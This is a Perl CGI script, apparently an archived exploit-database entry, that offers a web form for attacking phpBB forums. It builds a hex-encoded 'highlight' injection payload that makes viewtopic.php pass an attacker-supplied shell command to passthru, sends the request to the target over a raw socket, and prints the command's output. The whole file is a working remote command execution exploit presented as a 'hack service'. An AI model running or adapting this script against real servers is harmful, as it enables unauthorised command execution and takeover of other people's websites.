#!/usr/bin/perl #wphpbb.cgi #hack service:) #http://site/cgi-bin/wphpbb.cgi use CGI qw(:standard); $CGI::HEADERS_ONCE = 1; $CGI = new CGI; $atak = $CGI->param("atak"); $serv = $CGI->param("serv"); $dir = $CGI->param("dir"); $topic = $CGI->param("topic"); $cmd = $CGI->param("cmd"); print $CGI->header(-type=>'text/html',-charset=>'windows-1254'); print qq~ phpBB HACK phpBB atak webscript
exploit:by RusH security team // www.rst.void.ru
exploit update:ZzagorR
~; if($atak eq "phpbb") { $serv =~ s/(http:\/\/)//eg; print ""; $cmd=~ s/(.*);$/$1/eg; $cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $path = $dir; $path .= 'viewtopic.php?t='; $path .= $topic; $path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20'; $path .= $cmd; $path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F'; $path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527'; use IO::Socket; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n"; print $socket "GET $path HTTP/1.1\n"; print $socket "Host: $serv\n"; print $socket "Accept: */*\n"; print $socket "Connection: close\n\n"; $on = 0; while ($answer = <$socket>) { if ($answer =~ /^_END_/) { print "\r\n"; exit(); } if ($on == 1) { print ""; } if ($answer =~ /^_START_/) { $on = 1; } } print "[-] EXPLOIT BASARISIZ\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; } print "
Site:
example: www.site.com
Klasor:
example: /phpBB2/
TopicNo:
example: 1
Komut:
example: id
Sonuclar
Islem Sonu
$answer
"; # milw0rm.com [2004-12-03]